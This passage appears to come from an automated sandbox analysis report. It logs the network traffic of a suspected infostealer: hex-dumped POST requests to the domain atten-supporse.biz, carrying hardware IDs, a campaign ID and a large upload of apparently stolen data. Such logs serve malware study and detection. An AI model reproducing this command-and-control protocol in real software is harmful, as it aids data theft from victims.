name="hwid"9087ECAAC2A7A4A123D904AF30EFEBBC--QLHBIMUS8JCXVHKCContent-Disposition: form-data; name="pid"3--QLHBIMUS8JCXVHKCContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic
2024-12-10 01:51:36 UTC	5230	OUT	Data Raw: 8a 95 d9 76 89 c4 4d c9 4d d9 5a b5 da 68 27 0c 46 c7 33 b7 ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 eb dc 60 Data Ascii: vMMZh'F3Wun 4F([:7s~X`nO`
2024-12-10 01:51:37 UTC	1022	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 01:51:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=k79d6vsi0h73q5iinll6v8ek9j; expires=Fri, 04-Apr-2025 19:38:16 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HTEVtOcyA0l1VSC76%2FT8LvZlPKJMt63BnPBtppMomNMRMtb9XAnRKlacURFPPpvgP7zZp155%2Fu2RL5RTQf1fKzlOGlHFwd6V7WSWSsWyMTavrtq7zD%2B19Af%2FSHnBGe6Nsii0Bp4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef99741098e41c1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3370&min_rtt=1695&rtt_var=1808&sent=14&recv=26&lost=0&retrans=0&sent_bytes=2846&recv_bytes=21523&delivery_rate=1722713&cwnd=205&unsent_bytes=0&cid=94783ee267bcaa4d&ts=960&x=0"
2024-12-10 01:51:37 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-10 01:51:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49938	104.21.16.1	443	6568	C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 01:51:41 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=RIM46QQ74TAI30X User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1273 Host: atten-supporse.biz
2024-12-10 01:51:41 UTC	1273	OUT	Data Raw: 2d 2d 52 49 4d 34 36 51 51 37 34 54 41 49 33 30 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 30 38 37 45 43 41 41 43 32 41 37 41 34 41 31 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 52 49 4d 34 36 51 51 37 34 54 41 49 33 30 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 52 49 4d 34 36 51 51 37 34 54 41 49 33 30 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d Data Ascii: --RIM46QQ74TAI30XContent-Disposition: form-data; name="hwid"9087ECAAC2A7A4A123D904AF30EFEBBC--RIM46QQ74TAI30XContent-Disposition: form-data; name="pid"1--RIM46QQ74TAI30XContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic-
2024-12-10 01:51:41 UTC	1028	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 01:51:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9m3qpkbijnjnoao8apvn8m55t4; expires=Fri, 04-Apr-2025 19:38:20 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dRJFsNwj%2Bpsr9xBNj%2FqUXXEojATGRc20IZX6yjMykyAY5zgk%2F2lgQkVy%2Bw%2FNIY8yi8ou7JdFSZ%2BUqnCIltK%2BGPBBFJ2v15NvKEeB8YKujJy1apCDDqdsmD1%2FxdWvZDZe9DZ%2F6Hk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef9975b49cb0c7e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2400&min_rtt=1503&rtt_var=1205&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=2189&delivery_rate=1942781&cwnd=77&unsent_bytes=0&cid=5aa7adc029fc3304&ts=754&x=0"
2024-12-10 01:51:41 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-10 01:51:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49946	104.21.16.1	443	5080	C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 01:51:43 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: atten-supporse.biz
2024-12-10 01:51:43 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-10 01:51:44 UTC	1012	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 01:51:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=n6i7navgm9j86eqdnbrdjqdgen; expires=Fri, 04-Apr-2025 19:38:22 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=h0Sq2SSkTsZwumZlViyCw05uMHnVgkXGm1F1mLt3jRDNNVLln5JOahnPuvtFFl159Jo7h2sDJdGCQCWvtIrSUpfI7eNIHl34pq97Ko0gbrIfWvZ0Wswb61Qu5KNcd%2Fap6lTpXZw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef99769dfac42f5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1583&min_rtt=1570&rtt_var=616&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2846&recv_bytes=909&delivery_rate=1739130&cwnd=195&unsent_bytes=0&cid=845a246aa4c87237&ts=1304&x=0"
2024-12-10 01:51:44 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-10 01:51:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49951	104.21.16.1	443	6568	C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 01:51:44 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=ZGM18RF5WSAMTZUC7L User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 565889 Host: atten-supporse.biz
2024-12-10 01:51:44 UTC	15331	OUT	Data Raw: 2d 2d 5a 47 4d 31 38 52 46 35 57 53 41 4d 54 5a 55 43 37 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 30 38 37 45 43 41 41 43 32 41 37 41 34 41 31 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 5a 47 4d 31 38 52 46 35 57 53 41 4d 54 5a 55 43 37 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 5a 47 4d 31 38 52 46 35 57 53 41 4d 54 5a 55 43 37 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 Data Ascii: --ZGM18RF5WSAMTZUC7LContent-Disposition: form-data; name="hwid"9087ECAAC2A7A4A123D904AF30EFEBBC--ZGM18RF5WSAMTZUC7LContent-Disposition: form-data; name="pid"1--ZGM18RF5WSAMTZUC7LContent-Disposition: form-data; name="lid"LOGS11--LiveT
2024-12-10 01:51:44 UTC	15331	OUT	Data Raw: b7 41 30 0f 91 14 bf fb 2b 53 f1 fb 88 45 72 ae c6 b9 91 68 fd 03 59 50 5d 81 ef 7e 42 7f 60 81 26 39 01 34 2b 0c 5c 06 81 bf 4a 2b 06 91 e0 85 bd 54 ed 6c 2b b1 ba f6 d6 8c 45 ba 3f ef ef 17 82 e0 e3 ef ca f2 57 6a 30 ce c3 83 7a de 92 3f 63 fc bf 90 9a f4 65 cf 4e 84 49 69 ff cb ef fe 23 d5 7e 5e bf dc 9f fb f3 03 bd 2a 3c 90 5d 91 a6 3b 8b ae b0 92 8b ac c6 9d ff 01 94 a6 c7 ff ef 76 93 ff fb 00 0f d1 01 38 33 45 81 56 02 a1 df 10 16 6c 7c d0 3e 9a 51 93 09 0a e3 9d 44 2f 34 f4 db 85 64 3f e6 fe 8c 11 42 fa 53 59 af d3 76 04 80 54 23 2d 18 1e 1f ec 05 3b 63 a0 c7 de 90 be 2b 7b 4f 4f 73 30 c6 9d d6 28 8f 3b be ea 2c 87 ba 5c e1 dc b1 db 36 6f 01 b5 44 4a 40 b8 7d 54 a2 30 d3 d7 3c f6 50 3b 27 92 8e 4e e2 7a dd 4b 11 3d c2 b9 de 8e 82 c0 ef 57 a6 93 fb Data Ascii: A0+SErhYP]~B`&94+\J+Tl+E?Wj0z?ceNIi#~^*<];v83EVl\|>QD/4d?BSYvT#-;c+{OOs0(;,\6oDJ@}T0<P;'NzK=W
2024-12-10 01:51:44 UTC	15331	OUT	Data Raw: 64 46 d7 6b 70 63 b7 22 df d1 5b bb 01 72 67 c4 e8 d6 83 9a b5 77 79 23 db d3 99 cb 7f ea 16 ac 5a bb 44 61 2f d8 ef 22 05 58 08 80 3b 54 f5 70 79 34 c0 87 98 f0 68 25 5e 23 47 74 2f c3 53 6c ae 7d 24 f1 67 4a 95 8d a8 cc bc 0e 75 ce 6a 04 9b a3 b8 ec 6f b4 9d 1b 42 9d 37 f4 43 d0 77 09 3e a9 8e 95 6a 58 f8 65 c4 78 66 5f 12 9e fd bc c2 df 42 1b a4 95 86 59 22 68 79 85 08 c0 d6 c3 ee 0c 0a b3 1e 00 ba 95 c1 ff 26 d9 39 60 e9 07 c8 2c 04 b9 5f 52 0e 9e 6d a2 08 72 dd 9e e4 ff b7 6f bb 7c aa 78 b2 b9 02 24 00 24 91 f7 7c ee f3 c4 81 c8 2e 0d 19 14 24 c0 fa 20 2e 3a 29 d2 01 9c 77 c2 59 8a 23 d2 0e d0 a1 d0 0b 60 e0 71 35 d3 a3 d8 a2 e0 55 73 fe a5 53 f7 e6 61 17 0c d6 64 db ee ca ee 2b 88 1b ea 32 e0 01 66 e9 de 68 61 9a 43 36 aa db 0c 8e 09 9a 8d 48 4f 19 Data Ascii: dFkpc"[rgwy#ZDa/"X;Tpy4h%^#Gt/Sl}$gJujoB7Cw>jXexf_BY"hy&9`,_Rmro\|x$$\|.$ .:)wY#`q5UsSad+2fhaC6HO
2024-12-10 01:51:44 UTC	15331	OUT	Data Raw: 93 1c ec dd 5f bb cd 18 52 f6 1a 7f d0 b4 8f 30 6b c5 f0 11 71 3a 4b 87 10 1e 7b 8f c8 b8 f6 ef 32 50 b7 9d c3 47 3e 2a af 67 b9 24 c4 ff d2 40 6a f8 0c a2 63 14 ba 33 34 cc 56 7f c9 db f1 12 ae 4c a4 4e a4 59 d6 a8 a7 84 bb 74 ba 8e 5d da 4a f6 15 69 c7 68 fc e9 c3 12 bb 39 9e 0a 62 47 52 d3 58 1e b5 bb d3 3d 9c 9d 22 76 88 6c 5a a8 20 5f d5 8a 5c 3d 43 57 45 ed d8 93 9a 98 ac ce 9a 98 99 af 66 65 32 c8 13 0d e9 7f 71 e1 43 a8 fe c4 6f 5b f6 83 8c 74 99 f0 cb 65 02 f5 95 5b cc f5 91 b1 98 19 7e 6a 3b e1 6b c3 d9 af 9b 1d 5f 34 f6 dd 92 a4 a5 2e bd 4a 4b 0f 31 43 20 20 28 26 56 a6 c0 06 71 e1 da 02 8a 1c 06 41 4c 19 70 15 ab 2b 09 11 b5 34 0a d4 1f 9a 5c 3f 3f 6a ba e7 28 e8 e5 c7 a8 a6 72 cc f3 41 06 85 7a f9 87 69 45 f8 57 fd 9c d2 3f 7d 0d 75 6e 7f 90 Data Ascii: _R0kq:K{2PG>*g$@jc34VLNYt]Jih9bGRX="vlZ _\=CWEfe2qCo[te[~j;k_4.JK1C (&VqALp+4\??j(rAziEW?}un
2024-12-10 01:51:44 UTC	15331	OUT	Data Raw: 7f 6c 25 8f 22 c8 bf 8e ff ff b7 63 fc ef 92 cc 0d 3e 96 81 1f a7 08 e6 a0 00 0f 0a 3a c5 47 bd de 80 c4 45 bc 81 60 3b a2 ea b3 14 39 33 24 ae ab d5 96 0b f0 70 ca cc 41 72 4e 95 54 2f ef 1a 3b 48 81 8e a2 e8 7e 78 95 10 8f 97 e1 2b c9 c3 d7 19 d2 04 ba 6e e6 fb 33 a3 af 46 9b 31 61 85 b7 55 2e 3e 2a 89 f8 8c d6 9d 9c 45 e6 14 c1 85 7f f0 21 d0 e5 6e 1e 2a b6 35 a3 4a 40 10 1a c3 94 a3 23 50 64 55 c4 cf 9b 05 e6 01 c7 4b 4e 6b 34 87 f8 ad 47 db 93 5b 6d ba bf 40 04 f4 7d 71 d0 f1 2b 7b 0d 28 47 53 ee b5 ba 3a d1 56 3a 75 35 dc b6 fa a6 d5 9d 15 4c d2 eb f0 2d bc 51 ba 32 b0 55 f1 2f 85 30 20 90 0b da b5 c1 40 f1 83 ae 19 ee 26 05 67 05 20 3f 3a 32 68 a3 f0 bd 85 a3 74 e8 4d bd d5 40 b8 e7 df c9 0c fb 42 4b 7e 8e 1d b8 7e 9a 80 45 bb ae 70 43 0a 0e 24 40 Data Ascii: l%"c>:GE`;93$pArNT/;H~x+n3F1aU.>E!n5J@#PdUKNk4G[m@}q+{(GS:V:u5L-Q2U/0 @&g ?:2htM@BK~~EpC$@
2024-12-10 01:51:44 UTC	15331	OUT	Data Raw: b6 c2 75 99 d4 05 53 51 2d 35 df 86 b5 87 88 f5 48 da 68 e1 8e 99 cf fd 94 3f 85 32 03 de ce 51 c1 d7 1e 8d 6a 0c 90 38 f8 84 21 b9 66 ad bf cd c8 2e 81 38 ca 79 96 1a e7 23 cd f8 d6 36 6a 6b 6a 96 da 82 5a a6 d9 39 c1 4b e9 51 e9 02 93 8f 18 3f ab 11 fd 7f 96 d2 17 53 69 e5 1a ef a8 12 5a ca b6 f5 c8 36 ab 33 52 51 74 8d 92 f8 15 47 7f dc b2 62 9f 68 65 a5 98 ad 34 90 90 2d 22 92 2c fd 76 e2 eb c7 c2 16 5e c9 4f c5 30 60 d7 6a de fa 76 2f fd 16 f7 85 63 63 6d 18 63 7a eb 5b 25 3c 8d eb d0 87 9d 38 1e ca ac 2a 89 87 f2 f7 55 49 7c 0d 11 df d9 9f ff 14 aa 33 76 c6 d5 bd ef 25 f8 92 8e fa 6e 75 bb 39 a7 49 3e 5c 93 44 31 fe 6e 59 f8 16 5c b1 65 b7 c1 cc b1 0c 11 1f 89 bb 04 ae 0c 27 a2 3e 92 2f 9c 9e c8 54 c7 43 b3 31 a3 b6 39 35 51 5c f7 88 14 8e c6 79 96 Data Ascii: uSQ-5Hh?2Qj8!f.8y#6jkjZ9KQ?SiZ63RQtGbhe4-",v^O0`jv/ccmcz[%<8*UI\|3v%nu9I>\D1nY\e'>/TC195Q\y
2024-12-10 01:51:44 UTC	15331	OUT	Data Raw: 68 53 f8 86 55 77 a2 3a 2b 70 64 b0 e6 00 20 4c 28 b2 7e 54 4b 89 18 ad f6 a9 b7 6f 9a 6c 96 4c 52 a3 6e 5a 3c 5a 9d 1f 98 59 dd 2e af d9 ee 53 4d 60 74 73 f3 19 a2 9d d5 21 37 70 c0 2c d9 50 50 ec 85 18 f8 11 95 a5 12 37 c0 d0 02 11 53 7b cb cf e2 c0 0e 11 94 6c e0 d5 96 ec e3 a6 b2 f6 f4 19 13 d2 dd 00 db ca d5 ec e5 3c fd 2c ee 8a eb f6 cb cb 10 58 9f fd 9b 77 f6 2f 22 d0 31 40 32 84 4e 77 72 cf c3 d1 04 ce e2 e3 d9 76 e2 c9 91 d3 73 14 4d dc ed a5 b5 f0 4e c9 0b 67 9c ef e7 58 e0 45 2a 97 96 6f 06 f0 73 ee ca dd 96 39 26 64 f5 e5 a2 d6 b2 33 f7 ea a3 46 4f 9d d1 cd e4 d0 c1 9e 11 74 a1 f5 05 df 5a 9b dc f1 2d f9 07 3d 0b 1f 21 a4 78 0d a0 58 e3 6b 3f 42 f6 63 63 2d 75 1a 18 86 76 ad 80 6d e8 2c f2 bf 4b 10 e3 5d 76 2e 3b 52 45 1a 1e cb 68 c2 fd 0f 74 Data Ascii: hSUw:+pd L(~TKolLRnZ<ZY.SM`ts!7p,PP7S{l<,Xw/"1@2NwrvsMNgXE*os9&d3FOtZ-=!xXk?Bcc-uvm,K]v.;REht
2024-12-10 01:51:44 UTC	15331	OUT	Data Raw: 3f c3 15 d2 dd 14 ee 9b 19 9e 89 42 c1 78 92 8b c8 c8 f7 7f b7 cf c0 d0 cd fd 99 bc 05 f8 b4 e7 9f 21 79 cb df 85 89 4c 34 2c 80 e1 5f 94 41 77 4d 4c ce bb b1 6c 07 62 f4 95 b4 20 13 f1 be d2 e9 f3 0d ae ca d9 f3 13 e9 26 0e 8a 97 95 9f eb cf ab 75 b8 25 d8 d6 2b c9 47 e8 5e 16 4e e2 69 42 7e a1 8d 84 ed 2d a7 5d 26 2d 13 47 c2 fb f1 41 ee 50 76 e5 aa 5a f9 4f 6c f1 e3 c8 b1 fb 66 fa 11 3c d0 9b a1 ee 91 11 55 fa 57 22 37 33 a8 f4 99 df 9f 12 ef 6f 91 19 aa 41 6f 24 c9 f4 5e 71 c1 ee df 99 b6 12 ef 4f 97 57 d2 53 04 c9 3e a7 7f ff b9 1b 02 82 9d fd 7c 18 f0 48 39 f3 b1 2b 32 3b 91 7a 7b 5e 93 5d 23 ce f5 f4 2f 7b 52 e7 5d 71 83 a7 e5 b0 7a f4 95 be e5 31 53 c8 ee b8 bb fd 75 ee bf df 2b 1e 47 69 74 4b d6 09 c2 7b 39 de 0c 16 06 77 6b 55 3c 1c 7f 7e 2b 3b Data Ascii: ?Bx!yL4,_AwMLlb &u%+G^NiB~-]&-GAPvZOlf<UW"73oAo$^qOWS>\|H9+2;z{^]#/{R]qz1Su+GitK{9wkU<~+;
2024-12-10 01:51:44 UTC	15331	OUT	Data Raw: 4b d1 a3 3f 62 5f f2 75 3c 86 e0 ae e1 dc 36 da 51 92 07 ac 34 c1 dd 45 48 bb 0e 5e f3 b0 6e 88 f5 d1 b5 be 1b 9b 35 9a 79 fc 81 ae c7 57 1b 6d 63 47 19 0f 14 e5 db 6a 88 1e 63 87 71 d1 aa 5d 80 3b 39 1f 75 12 0f 17 dd ee 98 ab 67 5b b8 67 27 e2 0e ec 94 47 98 af 30 af f1 20 aa 0a 59 f9 f2 e7 38 69 a4 14 42 e2 b8 f0 97 71 ba fe 89 e3 22 1a 8e b0 ec dc d5 31 db 08 c2 68 ad 00 f7 16 b0 f9 6a 2c 01 10 9c 37 a3 d6 68 0b 02 ec e2 2d 92 7d 3c f2 f7 da 49 db 6c 74 cc 5a b8 9d 59 fd 5d 0c 25 6d 03 13 33 3e a4 8b d1 6a 45 24 24 11 5b 99 48 16 72 f6 e7 df 38 f9 61 be 8f df c9 c7 63 a3 cc 28 cc 67 e2 8c 73 d8 3c 42 71 d9 56 a2 f2 d2 d7 49 cd f6 c6 55 45 9d 57 3b a8 a8 88 db 52 84 be f0 77 87 f1 9e 00 f6 17 39 74 b4 95 39 a5 df f6 b3 95 f4 64 97 cc 7d 73 95 c9 73 3d Data Ascii: K?b_u<6Q4EH^n5yWmcGjcq];9ug[g'G0 Y8iBq"1hj,7h-}<IltZY]%m3>jE$$[Hr8ac(gs<BqVIUEW;Rw9t9d}ss=
2024-12-10 01:51:44 UTC	15331	OUT	Data Raw: 39 21 d0 55 b7 18 fa 97 03 92 e7 d7 6e 9e 22 9d e3 07 f9 24 ba b9 02 5c 43 ab a3 73 f2 e3 56 2e 42 ff 3b 6e 91 57 66 7d c4 e3 df de 5a ff b6 b9 f4 73 17 e0 ad 36 01 48 58 80 79 e7 1e f7 e2 80 c5 6c 2a a3 48 74 38 eb 82 d9 8b 7a 40 2d 49 a2 56 8b 81 1b 3b ed 72 ea bd bc 1a 78 c6 64 87 2e 06 3c ef 14 93 cf a9 9e e6 b8 3d 69 2e 3e c2 b9 f1 3d 56 0a de cb 3a 90 1a 23 01 f0 1d 38 06 8e 80 ef 46 c1 b2 5b 5f b4 bf b4 f0 32 9d 69 44 74 b9 b3 c5 25 0b 14 ac 1b db 29 dc 92 a7 79 0c 58 5a 64 37 d4 ab ac 85 24 b7 20 89 e5 28 d5 1e 37 a4 96 b2 52 1f 55 9d a5 2a 2f 74 7f d1 05 41 aa e4 80 2d 09 f0 61 dd 4c d0 50 66 ea 55 31 5f 1e 66 31 f3 78 f4 c6 a9 37 d8 2b 43 0d 68 dd 2d 7a 48 7f 8f 49 fe b9 12 cd 24 38 42 0a f4 36 e0 01 31 1f a0 c4 ab 0f d0 95 68 4a c9 26 8a 37 b5 Data Ascii: 9!Un"$\CsV.B;nWf}Zs6HXylHt8z@-IV;rxd.<=i.>=V:#8F[_2iDt%)yXZd7$ (7RU/tA-aLPfU1_f1x7+Ch-zHI$8B61hJ&7
2024-12-10 01:51:48 UTC	1023	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 01:51:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ptdj5k4l8l01dfvt3m4jpofcj8; expires=Fri, 04-Apr-2025 19:38:25 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kEGW7kPOIdjZ5tEMgOv13rr45K6AgHesFnvm%2FC8Sqv1uVaROVzzYFV9l3SoYtFQ2rPk6YKQuK9ECK1f%2FlwHShqCfMhNmcYDQryAiAT8q8ESCSR57dnX4K5X%2FTUWqTKAqT8Y4Hq4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef9976f0dea41c1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3549&min_rtt=2674&rtt_var=2754&sent=291&recv=590&lost=0&retrans=0&sent_bytes=2846&recv_bytes=568416&delivery_rate=301652&cwnd=205&unsent_bytes=0&cid=aff8d29b996693b9&ts=4930&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49953	104.21.16.1	443	5080	C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 01:51:45 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: atten-supporse.biz
2024-12-10 01:51:45 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-12-10 01:51:46 UTC	1011	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 01:51:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=c2d01pevgt7f751cqlis4k4pgg; expires=Fri, 04-Apr-2025 19:38:25 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KcqlMoobcxFuqgR8PdhUbLmBjWZp3QyteP%2FZslYckuEyIpUv3hPWwL1nVqc74xa7YLpvYkIrP7gP3K5Qnbuw3sbwlRpgP44x3ytv1o4lwv5r5Lyfl8pbeqPplNGCwu3CUIYNKBA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef997776dd7de96-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1435&min_rtt=1427&rtt_var=551&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=955&delivery_rate=1958417&cwnd=221&unsent_bytes=0&cid=fa521b75c45b7094&ts=744&x=0"
2024-12-10 01:51:46 UTC	358	IN	Data Raw: 31 64 32 30 0d 0a 44 4f 43 6a 6d 53 79 6f 6f 67 6b 30 42 49 54 71 2b 30 75 36 55 42 2f 6d 5a 56 47 6d 49 35 4b 58 6a 43 52 55 6b 59 73 4b 36 76 68 33 77 74 57 37 46 70 79 4f 4b 30 64 68 70 74 43 50 4f 63 38 31 4d 38 51 45 4e 59 51 5a 39 50 62 67 56 7a 47 39 71 58 79 48 32 6a 61 47 77 76 56 66 7a 59 34 72 55 58 79 6d 30 4b 41 77 6d 44 56 78 78 46 39 7a 77 30 6e 77 39 75 42 47 4e 66 72 6b 65 6f 61 62 5a 49 7a 45 38 55 6e 4c 78 6d 68 59 61 65 47 50 6e 69 72 51 50 6e 61 4c 44 54 79 45 44 37 44 79 39 67 5a 75 73 38 5a 76 6e 70 6c 42 67 64 44 79 44 74 57 4f 63 68 5a 68 36 73 6a 42 61 64 73 31 66 59 6f 44 4e 63 31 4c 2b 76 2f 6f 52 7a 44 37 2b 32 4f 4d 6b 47 53 43 78 2f 42 44 77 74 4a 6c 55 6d 37 71 69 5a 51 71 6d 48 77 39 67 78 39 7a 6e 41 47 6a 78 2b 31 58 4a Data Ascii: 